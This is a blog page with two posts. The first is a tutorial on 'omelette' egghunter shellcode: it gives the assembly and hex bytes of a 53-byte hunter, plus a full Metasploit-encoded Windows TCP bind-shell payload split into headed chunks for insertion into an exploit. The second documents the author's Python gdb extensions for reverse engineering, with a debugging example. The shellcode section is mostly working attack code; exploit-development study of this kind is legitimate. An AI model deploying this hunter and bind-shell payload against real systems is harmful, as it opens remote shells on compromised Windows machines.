Thursday, October 31, 2013

Omlette Egghunter Shellcode


When I first heard about omlette egghunter shellcode I was pretty keen to give it a try, but did not have the opportunity until after I heard that under some unknown circumstances it "doesn't work" (see the note here).  At that point I thought Id have a try at writing some omlette egghunter shellcode myself.  Then about three years passed until I finally got around to doing it.

Omlette Shellcode

What is it? Omlette shellcode is essentially a variation on egghunter shellcode.  As previously discussed on this blog, egghunter shellcode is a small piece of shellcode, suitable for inserting into space restricted program buffers. Its job is to find, and pass control to, larger sections of shellcode (or "eggs") located in program memory. Traditional egghunter implementations will usually expect that the "egg" will be inserted into memory in one piece.  Omlette shellcode allows you to insert your egg into memory in multiple pieces, and handles the tasks of finding those pieces, sticking them together, and finally passing control to the reconstructed egg.  You would use it in exploits where you don't have enough space to include your entire final payload into memory using a single buffer. 

Its a bit of a niche thing, and I don't imagine it will be required in too many exploits, but I was interested in having a go at writing an implementation myself. 

My Implementation

My implementation uses the syscall method for safely searching Windows memory as documented by Matt Miller, and is based on a modification of his egghunter code from here.

I essentially took his memory searching code, modified parts of it to replace stack operations with direct register operations, and added some extra bits at the start and the end to enable the egg to be reconstructed on the stack and then run.

Heres the assembly:


    MOV EBP, ESP        ; Get stack pointer into EBP to provide starting offset for location to write shellcode
    OR BX, 0x0fff       ; Add PAGE_SIZE-1 to EBX
    INC EBX             ; Increment memory pointer EBX+1
    XOR EAX, EAX        ; Zero EAX
    MOV AL, 0x02        ; Set EAX for syscall NtAccessCheckAndAuditAlarm
    MOV EDX, EBX        ; Set EDX to memory location for syscall. The syscall clobbers EDX so we cant use it for persistent address storage
    INT 0x2e            ; Perform the syscall
    CMP AL, 0x05        ; Checking for 0xc0000005 (ACCESS_VIOLATION)
    JE loop_inc_page    ; Invalid memory, go to next memory page
    MOV EAX, 0x78563412 ; Put egg marker in EAX
    MOV EDI, EBX        ; Set EDI to the valid memory location from EBX
    SCASD               ; Compare the dword in [EDI] to marker in EAX, increment EDI+4
    JNZ loop_inc_one    ; No match? Back to searching loop
    SCASD               ; Compare the dword in [EDI] to EAX again, increment EDI+4
    JNZ loop_inc_one    ; No match? Back to searching loop
    MOV ESI, EDI        ; Move memory location of start of egg data to ESI
    MOV EDI, EBP        ; Move memory location to write egg to EDI
    LODSW               ; Move word of memory from [ESI] into EAX, increment ESI+2. AH has chunk size, AL has flag value.
    XOR ECX, ECX        ; Zero ECX
    MOV CL, AH          ; Copy AH (egg chunk size) to CL to use as counter for REP MOVSB operation
    CMP AL, 0x01        ; Compare flag value in AL to 1 to see if we have written final egg chunk
    REP MOVSB           ; Copy ECX number of bytes from [ESI] to [EDI]. Increments EDI and ESI by ECX
    MOV EBP, EDI        ; EBP stores address of end of written shellcode
    JNE loop_inc_one    ; Jump back to searching loop if we have not written final egg chunk
    JMP ESP             ; Jump to start of completed egg

Once assembled the code comes out as 53 bytes in size.


Some caveats on the use of this shellcode:
  • Like Matt Millers original egghunter, it assumes that the direction flag is unset.  This will be the case most of the time, but if not you can add a "CLD - \xfc" instruction to the start to clear it.
  • The final "egg" is assembled on the stack starting at the ESP register.  Make sure you don't have anything you need at that location in memory, because it will be overwritten.  Be careful of where the egghunter code itself is located (so you don't overwrite it mid operation) and pivot first if you need to.
  • The egg chunks need to be located in memory IN ORDER.  The egghunter searches memory in ascending order, and it will append the chunks together in the order it finds them until it reaches the final chunk, whereupon it passes control to the reconstructed shellcode.  This might limit the exploits you can use it in - memory ordering may not always be something you can control.
  • I have only tested this on Windows XP SP3.  Presumably it will work on other 32 bit Windows versions too, let me know if not and I'll see if I can fix it.  It is very unlikely to work for 32 bit apps on 64 bit Windows systems.


The use of this egghunter is similar to that of Matt Millers original, (click here if you need a reminder of how this works), except instead of inserting the payload using one buffer, you break it up into multiple chunks first.  Each chunk can be of any size up to 255 bytes, and there is no need to maintain consistency in chunk sizes (the chunks can all be different sizes if you want).  Before getting the chunks into memory you have to add a 10 byte header to each chunk which consists of a twice repeating 4 byte "marker" value that helps the egghunter find the egg, followed by a one byte "final chunk" flag value and a one byte size value. The "final chunk" flag value is set to a "\x01" for the final egg chunk (chunk n), and to any other value for chunks 1 through n-1.

Lets consider an example.  Assume you have to write an exploit where the initial buffer you can access after gaining control of processor execution is just big enough for this omlette shellcode.  However, you can also control the contents of four other memory buffers with about 110 bytes of usable space in each.

First compile the assembly code with nasm and dump the compiled output in hex format to paste into your exploit. You can edit the marker value in the code first if you want to change it. The default value in the assembly above is 0x78563412 which will mean you need to send \x12\x34\x56\x78 as the marker in your exploit (remember: bytes in little endian order).  Save the assembly as omlette.asm and do the following:

wolverine:~ stephen$ nasm -f bin omlette.asm -o omlette
wolverine:~ stephen$ cat omlette | perl -e 'print chr(0x22); while (read STDIN, $d, 1) {print "\\x" . sprintf( "%02x", ord($d)); $c++; if ($c == 14) {print chr(0x22) . " .\n" . chr(0x22);$c=0}}; print chr(0x22) . ";\n"'
"\x89\xe5\x66\x81\xcb\xff\x0f\x43\x31\xc0\xb0\x02\x89\xda" .
"\xcd\x2e\x3c\x05\x74\xee\xb8\x12\x34\x56\x78\x89\xdf\xaf" .
"\x75\xe9\xaf\x75\xe6\x89\xfe\x89\xef\x66\xad\x31\xc9\x88" .

Lets say the final shellcode you want to use is a Metasploit generated Windows 368 byte shikata_ga_nai encoded TCP bindshell payload like the following:
"\xdb\xdd\xd9\x74\x24\xf4\xbb\xfd\x10\xd0\xec\x5f\x33\xc9" .
"\xb1\x56\x31\x5f\x18\x03\x5f\x18\x83\xef\x01\xf2\x25\x10" .
"\x11\x7a\xc5\xe9\xe1\x1d\x4f\x0c\xd0\x0f\x2b\x44\x40\x80" .
"\x3f\x08\x68\x6b\x6d\xb9\xfb\x19\xba\xce\x4c\x97\x9c\xe1" .
"\x4d\x19\x21\xad\x8d\x3b\xdd\xac\xc1\x9b\xdc\x7e\x14\xdd" .
"\x19\x62\xd6\x8f\xf2\xe8\x44\x20\x76\xac\x54\x41\x58\xba" .
"\xe4\x39\xdd\x7d\x90\xf3\xdc\xad\x08\x8f\x97\x55\x23\xd7" .
"\x07\x67\xe0\x0b\x7b\x2e\x8d\xf8\x0f\xb1\x47\x31\xef\x83" .
"\xa7\x9e\xce\x2b\x2a\xde\x17\x8b\xd4\x95\x63\xef\x69\xae" .
"\xb7\x8d\xb5\x3b\x2a\x35\x3e\x9b\x8e\xc7\x93\x7a\x44\xcb" .
"\x58\x08\x02\xc8\x5f\xdd\x38\xf4\xd4\xe0\xee\x7c\xae\xc6" .
"\x2a\x24\x75\x66\x6a\x80\xd8\x97\x6c\x6c\x85\x3d\xe6\x9f" .
"\xd2\x44\xa5\xf7\x17\x7b\x56\x08\x3f\x0c\x25\x3a\xe0\xa6" .
"\xa1\x76\x69\x61\x35\x78\x40\xd5\xa9\x87\x6a\x26\xe3\x43" .
"\x3e\x76\x9b\x62\x3e\x1d\x5b\x8a\xeb\xb2\x0b\x24\x43\x73" .
"\xfc\x84\x33\x1b\x16\x0b\x6c\x3b\x19\xc1\x1b\x7b\xd7\x31" .
"\x48\xec\x1a\xc6\x6a\x3e\x93\x20\x18\xae\xf2\xfb\xb4\x0c" .
"\x21\x34\x23\x6e\x03\x68\xfc\xf8\x1b\x66\x3a\x06\x9c\xac" .
"\x69\xab\x34\x27\xf9\xa7\x80\x56\xfe\xed\xa0\x11\xc7\x66" .
"\x3a\x4c\x8a\x17\x3b\x45\x7c\xbb\xae\x02\x7c\xb2\xd2\x9c" .
"\x2b\x93\x25\xd5\xb9\x09\x1f\x4f\xdf\xd3\xf9\xa8\x5b\x08" .
"\x3a\x36\x62\xdd\x06\x1c\x74\x1b\x86\x18\x20\xf3\xd1\xf6" .
"\x9e\xb5\x8b\xb8\x48\x6c\x67\x13\x1c\xe9\x4b\xa4\x5a\xf6" .
"\x81\x52\x82\x47\x7c\x23\xbd\x68\xe8\xa3\xc6\x94\x88\x4c" .
"\x1d\x1d\xb8\x06\x3f\x34\x51\xcf\xaa\x04\x3c\xf0\x01\x4a" .
"\x39\x73\xa3\x33\xbe\x6b\xc6\x36\xfa\x2b\x3b\x4b\x93\xd9" .

To use this, you would first add some NOP padding (shikata_ga_nai tends to error out if you don't pad between the start of the code and the stack pointer), and then break it up into four chunks of 96 bytes each, like shown below.  Note that the egghunter shellcode doesn't require that the chunks be the same size, that's just the easiest way to do it in this case.

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x90\x90\xdb\xdd\xd9\x74\x24\xf4\xbb\xfd\x10\xd0\xec\x5f" .
"\x33\xc9\xb1\x56\x31\x5f\x18\x03\x5f\x18\x83\xef\x01\xf2" .
"\x25\x10\x11\x7a\xc5\xe9\xe1\x1d\x4f\x0c\xd0\x0f\x2b\x44" .
"\x40\x80\x3f\x08\x68\x6b\x6d\xb9\xfb\x19\xba\xce\x4c\x97" .
"\x9c\xe1\x4d\x19\x21\xad\x8d\x3b\xdd\xac\xc1\x9b\xdc\x7e" .

"\x54\x41\x58\xba\xe4\x39\xdd\x7d\x90\xf3\xdc\xad\x08\x8f" .
"\x97\x55\x23\xd7\x07\x67\xe0\x0b\x7b\x2e\x8d\xf8\x0f\xb1" .
"\x47\x31\xef\x83\xa7\x9e\xce\x2b\x2a\xde\x17\x8b\xd4\x95" .
"\x63\xef\x69\xae\xb7\x8d\xb5\x3b\x2a\x35\x3e\x9b\x8e\xc7" .
"\x93\x7a\x44\xcb\x58\x08\x02\xc8\x5f\xdd\x38\xf4\xd4\xe0" .
"\xee\x7c\xae\xc6\x2a\x24\x75\x66\x6a\x80\xd8\x97\x6c\x6c" .

"\x3f\x0c\x25\x3a\xe0\xa6\xa1\x76\x69\x61\x35\x78\x40\xd5" .
"\xa9\x87\x6a\x26\xe3\x43\x3e\x76\x9b\x62\x3e\x1d\x5b\x8a" .
"\xeb\xb2\x0b\x24\x43\x73\xfc\x84\x33\x1b\x16\x0b\x6c\x3b" .
"\x19\xc1\x1b\x7b\xd7\x31\x48\xec\x1a\xc6\x6a\x3e\x93\x20" .
"\x18\xae\xf2\xfb\xb4\x0c\x21\x34\x23\x6e\x03\x68\xfc\xf8" .
"\x1b\x66\x3a\x06\x9c\xac\x69\xab\x34\x27\xf9\xa7\x80\x56" .

"\x7c\xbb\xae\x02\x7c\xb2\xd2\x9c\x2b\x93\x25\xd5\xb9\x09" .
"\x1f\x4f\xdf\xd3\xf9\xa8\x5b\x08\x3a\x36\x62\xdd\x06\x1c" .
"\x74\x1b\x86\x18\x20\xf3\xd1\xf6\x9e\xb5\x8b\xb8\x48\x6c" .
"\x67\x13\x1c\xe9\x4b\xa4\x5a\xf6\x81\x52\x82\x47\x7c\x23" .
"\xbd\x68\xe8\xa3\xc6\x94\x88\x4c\x1d\x1d\xb8\x06\x3f\x34" .
"\x51\xcf\xaa\x04\x3c\xf0\x01\x4a\x39\x73\xa3\x33\xbe\x6b" .

Then prepend a header to each chunk comprised of the marker ("\x12\x34\x56\x78") repeated twice, a single byte flag value ("\x01" for the final chunk, and anything else, I have used "\x02", for the other chunks) and a single byte size value ("\x60" as the hex representation of 96).

"\x12\x34\x56\x78\x12\x34\x56\x78\x02\x60\x90\x90\x90\x90" .
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xdb\xdd" .
"\xd9\x74\x24\xf4\xbb\xfd\x10\xd0\xec\x5f\x33\xc9\xb1\x56" .
"\x31\x5f\x18\x03\x5f\x18\x83\xef\x01\xf2\x25\x10\x11\x7a" .
"\xc5\xe9\xe1\x1d\x4f\x0c\xd0\x0f\x2b\x44\x40\x80\x3f\x08" .
"\x68\x6b\x6d\xb9\xfb\x19\xba\xce\x4c\x97\x9c\xe1\x4d\x19" .
"\x21\xad\x8d\x3b\xdd\xac\xc1\x9b\xdc\x7e\x14\xdd\x19\x62" .

"\x12\x34\x56\x78\x12\x34\x56\x78\x02\x60\x54\x41\x58\xba" .
"\xe4\x39\xdd\x7d\x90\xf3\xdc\xad\x08\x8f\x97\x55\x23\xd7" .
"\x07\x67\xe0\x0b\x7b\x2e\x8d\xf8\x0f\xb1\x47\x31\xef\x83" .
"\xa7\x9e\xce\x2b\x2a\xde\x17\x8b\xd4\x95\x63\xef\x69\xae" .
"\xb7\x8d\xb5\x3b\x2a\x35\x3e\x9b\x8e\xc7\x93\x7a\x44\xcb" .
"\x58\x08\x02\xc8\x5f\xdd\x38\xf4\xd4\xe0\xee\x7c\xae\xc6" .
"\x2a\x24\x75\x66\x6a\x80\xd8\x97\x6c\x6c\x85\x3d\xe6\x9f" .

"\x12\x34\x56\x78\x12\x34\x56\x78\x02\x60\x3f\x0c\x25\x3a" .
"\xe0\xa6\xa1\x76\x69\x61\x35\x78\x40\xd5\xa9\x87\x6a\x26" .
"\xe3\x43\x3e\x76\x9b\x62\x3e\x1d\x5b\x8a\xeb\xb2\x0b\x24" .
"\x43\x73\xfc\x84\x33\x1b\x16\x0b\x6c\x3b\x19\xc1\x1b\x7b" .
"\xd7\x31\x48\xec\x1a\xc6\x6a\x3e\x93\x20\x18\xae\xf2\xfb" .
"\xb4\x0c\x21\x34\x23\x6e\x03\x68\xfc\xf8\x1b\x66\x3a\x06" .
"\x9c\xac\x69\xab\x34\x27\xf9\xa7\x80\x56\xfe\xed\xa0\x11" .

"\x12\x34\x56\x78\x12\x34\x56\x78\x01\x60\x7c\xbb\xae\x02" .
"\x7c\xb2\xd2\x9c\x2b\x93\x25\xd5\xb9\x09\x1f\x4f\xdf\xd3" .
"\xf9\xa8\x5b\x08\x3a\x36\x62\xdd\x06\x1c\x74\x1b\x86\x18" .
"\x20\xf3\xd1\xf6\x9e\xb5\x8b\xb8\x48\x6c\x67\x13\x1c\xe9" .
"\x4b\xa4\x5a\xf6\x81\x52\x82\x47\x7c\x23\xbd\x68\xe8\xa3" .
"\xc6\x94\x88\x4c\x1d\x1d\xb8\x06\x3f\x34\x51\xcf\xaa\x04" .
"\x3c\xf0\x01\x4a\x39\x73\xa3\x33\xbe\x6b\xc6\x36\xfa\x2b" .

Now you would insert these various sets of bad data into your exploit in the appropriate places, and when the egghunter shellcode is executed, it should be able to find the chunks of the final payload in memory, piece them together on the stack, and then pass control to it when all parts are found.

Id be interested to know if you find this useful.  Perhaps someone has even written an example program which could be exploited with the use of this shellcode if you would like to test it... (*cough* GTER *cough*).

Welcome to 2006 - Im now on Twitter

After a long period of persistently avoiding social media, I have now moved (somewhat) into the Web 2.0 age and am now on Twitter, where I semi-regularly dispense 140 character packages of fun and frivolity.

So, if you like seeing pictures of cats dressed up as people, feel free to follow me - there's a button over on the side panel, or you can look me up by my Twitter name @SM_Bradshaw.

Sunday, October 20, 2013

My Python gdb Extensions


If you started to learn reverse engineering and exploit development on 32 bit Windows systems as I did, you were probably very unimpressed when you first attempted to try out your skills on *nix machines and started (trying to) use gdb.  I know I was.

Gdb is quite powerful, but it seems to be focused more on debugging applications with source and debug symbols.  While its certainly possible to debug applications while only having access to the stripped binary, a lot of gdb's frequently used features aren't that useful.  Gdb wasnt designed with a focus on reverse engineering in mind, and neither were a lot of the various gdb GUI front ends.  Things that are simple in OllyDbg such as getting an immediate view of the stack, disassembly and register values every time the program stopped, or searching for a particular value through all of program memory are just painful.

Thats why the last time I had to reverse engineer an application on Mac OSX, I wrote some extensions for gdb using the Python API that was added to gdb in version 7.  These extensions consisted of a few new gdb commands, as well as some nifty hooks that enabled me to get the necessary information out of the program in a way that I was familiar with.

The additional commands I added provide new ways to view register values, program memory, the stack, to do assembly level stepping and to search program memory.  There are also hooks that allow certain program data to be sent to fifos every time program execution pauses.  In practice, this allows me to have output like this:

gdb lookin like Olly!

What you see above is a terminal window with multiple panes.  The main pane, on the bottom left is running gdb, with a program currently in the paused state..  The other panes are running the tail command on different fifo pipes, and showing output from gdb relating to the programs disassembly, registers and stack, including some contextual information such as any strings or hex data that might be referenced by the various registers or stack entries.

The idea was to get the break output from gdb as close to the information provided by OllyDbg without having to code up an entire GUI fronted, and after having used the interface for a few weeks I think its a reasonable facsimile. Its not possible to right click on anything as you can in OllyDbg, obviously, but most of that stuff can be done from the gdb command line.  This does however allow you to easily see at a glance most of the important stuff that Olly can show you when you're spending a while stepping through a program waiting for something interesting to happen.


This code has been tested on Mac OSX Mountain Lion and Linux, and works for both 32 and 64 bit processes.  Ive tested this using Python 2.7 and the Mac Ports version of gdb on OSX, and the Ubuntu 13.04 repository version of gdb on Linux, but other versions of gdb over 7 and Pythons over 2.5 SHOULD work too.  Probably. The Python gdb extensions seemed to have 'evolved' a little bit since they were first introduced in gdb 7 – to the extent that some of the early examples of code you can find for creating gdb extensions in Python don't actually work any more.  Your version of gdb also needs to have been configured with the '--with-python' option, which I believe applies to most versions you will get in the various packaging systems around.

Most of the commands in this set of extensions should run on any system that supports the right version of gdb and Python, with the exception of the search commands (which required use of some OS specific memory listing commands) and the register display commands (because these use hard coded register name values, which I have only provided for x86 and amd64 processors).   The stack printer also assumes a little endian order, so if the processor you are using is big endian this wont display right either.

Note: If you're running this on OSX, please note that the Xcode Command Line tools version of gdb WILL NOT work, its too old and doesn't support the Python GDB extensions.  Install macports and their version of gdb.

Supported Commands

Heres a list of commands included:
  • save breakpoints - save breakpoints to a file.  These breakpoints can then be read back into a new session using the built in gdb 'source' command.  This is essentially a fixed version of a broken bit of example code I found on the 'Net.
  • readhexmemory - prints in hex format a given number of bytes from a given address in memory.
  • readhexdumpmemory - prints out a given number of lines (16 bytes per line) of a hex dump of memory starting at a given address. Each line contains the hex value for each byte as well as its ASCII representation, in a similar fashion as you would see in a Hex editor.
  • readstring - prints out any string located at a given address in memory.  Works with ASCII and basic Unicode strings.
  • searchstring - searches allocated program memory for a given string, and prints out all discovered instances along with their associated memory addresses.  Works for ASCII and simple Unicode strings.  Only linux and Masc OSX supported.  Warnings may appear when certain sections of memory cannot be searched – these are nothing to worry about.
  • searchbinary - searches allocated program memory for binary data, provided in hex format, e.g. 414243ae. Only linux and Masc OSX supported. Warnings may appear when certain sections of memory cannot be searched – these are nothing to worry about.
  • printstack - prints out a given number of lines of the stack view, including the address, the value stored in memory at that address and, if the stack entry could be interpreted as a pointer, any data (string if possible, hex if not) stored at that address.  If the number of lines is ommitted, a value of 10 is assumed.
  • printregisters – prints out the registers, along with contextual information of the data located at the memory address stored by each register.
  • printdisassembly – prints out the disassembly for the code located at the instruction pointer register.
  • fifodisplay – registers a number of handlers to automatically run the printstack, print registers and printdisassembly commands each time the program pauses, and to send the output to fifo pipes created in the current working directory named stack, registers and disassembly.  Combined with a multiple paned terminal window, can give you contextual information simialr to OllyDbg. Use the Stop parameter to disable the handlers.
  • no – Does an assembly level step operation that will skip over “call” function calls and wont break on new threads.
  • ns – Does an assembly level step operation that will skip into “call” operations and wont break on new threads.


You can load these extensions by copying the Python file somewhere where your instance of gdb can see it and using the gdb source command to read it.  You should ideally load the extensions after attaching your file in gdb for debugging, because the load process runs a function to determine the architecture of the file being debugged, and future commands may fail if this is not successful.  You'll get an error message if there are any problems with this setup function, or a success message if everything is OK.  If you get an error message just load the file again after fixing the problem.

Once the file is loaded correctly the commands listed above can be run like any other gdb command, including support for tab command completion and support for the inbuilt gdb help system.

The fifodisplay command, which was responsible for the screenshot shown above, is a little more fiddly to setup however, so I will give a brief example of how to set it up below.

UPDATE: The usage of fifodisplay has changed a little since the 1.10 update to the extensions.  Now, instead of requiring you to run the tail commands to read the fifos from memory the first time the program pauses, running fifodisplay will now prompt you to setup each fifo listener individually immediately.  The fifo files are also now stored in /tmp/ and are cleaned up by the extensions if you run 'fifodisplay stop' or if you exit gdb or stop debugging the target.

To summarise, this is what you need to do to set it up:

Have a terminal program that supports multiple panes.  Im using iTerm2 in the screenshot shown above for the Mac, and on Linux I use Terminator (the Gnome version).  Set up for different panes, all with the same present working directory, and run gdb in the bottom left pane.

Attach to the program you want to run in gdb, and load the extensions file into gdb using 'source' and run the program to a breakpoint.  Now run the fifodisplay command and make the program trigger a stop event in gdb.  The simplest way to do this is to step ahead by one assembly instruction ('stepi') or continue execution until you hit another breakpoint you have configured.

Now, in order, do a tail -f on the 'stack' file in the bottom right window, the 'registers' file in the top right window, and the 'disassembly' file in the top left window.  What you are doing here is displaying the content from fifo pipe files with these names that are created in the present working directory by the gdb event handlers created by the fifodisplay command. These files are created in this order, the first time the gdb instance stops after the fifodisplay command is run.  Gdb will appear to freeze up while it waits for you to run each of these tail commands, because its waiting for each of the fifo pipes to be read from before command execution can continue.  This will eventually time out if you take too long however – if this happens just 'stepi' once more and you can continue on from where you left off opening the fifo files.

When you want to disconnect the handlers, kill each of your tail commands and either run 'fifodisplay Stop' (case sensitive) in gdb, or quit the gdb session.  The fifo pipe files will not be deleted automatically, so on subsequent attempts you'll just be able to start your listening tail commands whenever you wish.  When you want to get rid of the fifo files, just delete them like any other file.

Usage Example

Here's a quick example of me using the fifodisplay command during a gdb session debugging /bin/ls.

First I setup a new terminal session with four panes. Then, in the bottom left hand pane I run gdb. Im using the macports version of gdb (the binary for this is called ggdb).
stephenbradshaw@lion:~$ ggdb /bin/ls
GNU gdb (GDB) 7.6
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin12.3.0".
For bug reporting instructions, please see:
Reading symbols from /bin/ls...(no debugging symbols found)...done.

Within this running session of gdb, I then run commands to find the entry point of the program and set a breakpoint there
(gdb) info file
Symbols from "/bin/ls".
Local exec file:
 `/bin/ls', file type mach-o-x86-64.
 Entry point: 0x100000e0c
 0x0000000100000aa8 - 0x0000000100003e7b is .text
 0x0000000100003e7c - 0x000000010000403e is __TEXT.__stubs
 0x0000000100004040 - 0x000000010000433e is __TEXT.__stub_helper
 0x0000000100004340 - 0x00000001000044c8 is .const
 0x00000001000044c8 - 0x0000000100004900 is .cstring
 0x0000000100004900 - 0x0000000100004998 is __TEXT.__unwind_info
 0x0000000100004998 - 0x0000000100004ff8 is .eh_frame
 0x0000000100005000 - 0x0000000100005028 is __DATA.__got
 0x0000000100005028 - 0x0000000100005038 is __DATA.__nl_symbol_ptr
 0x0000000100005038 - 0x0000000100005290 is __DATA.__la_symbol_ptr
 0x0000000100005290 - 0x00000001000052b8 is .data
 0x00000001000052c0 - 0x00000001000054f0 is .const_data
 0x00000001000054f0 - 0x000000010000557c is __DATA.__common
 0x0000000100005580 - 0x0000000100005640 is .bss
(gdb) break *0x100000e0c
Breakpoint 1 at 0x100000e0c

Now I run the program til it hits the first breakpoint:
(gdb) r
Starting program: /bin/ls

Breakpoint 1, 0x0000000100000e0c in _mh_execute_header ()

Now I load the extensions and run the fifodisplay command:
(gdb) source
gdb extensions 1.00 loaded
(gdb) fifodisplay

Now I step ahead by one assembly instruction. Execution will now seem to freeze in the debugger as it waits for each fifo pipe to be read from:
(gdb) stepi

At this point I ran the following commands, in this order, in the other panes of my terminal window:

Bottom right pane:
stephenbradshaw@lion:~$ tail -f stack

Top right pane:
stephenbradshaw@lion:~$ tail -f registers

Top left pane:
stephenbradshaw@lion:~$ tail -f disassembly

Now in the bottom left pane you should see the stepi command finish in gdb.
0x0000000100000e0d in _mh_execute_header ()

Now you should be able to continue your debugging session as normal, and every time program execution stops in gdb, the stack, register and disassembly information will be updated in each of the associated terminal panes.


The updated version 1.10 of the extensions can be found here.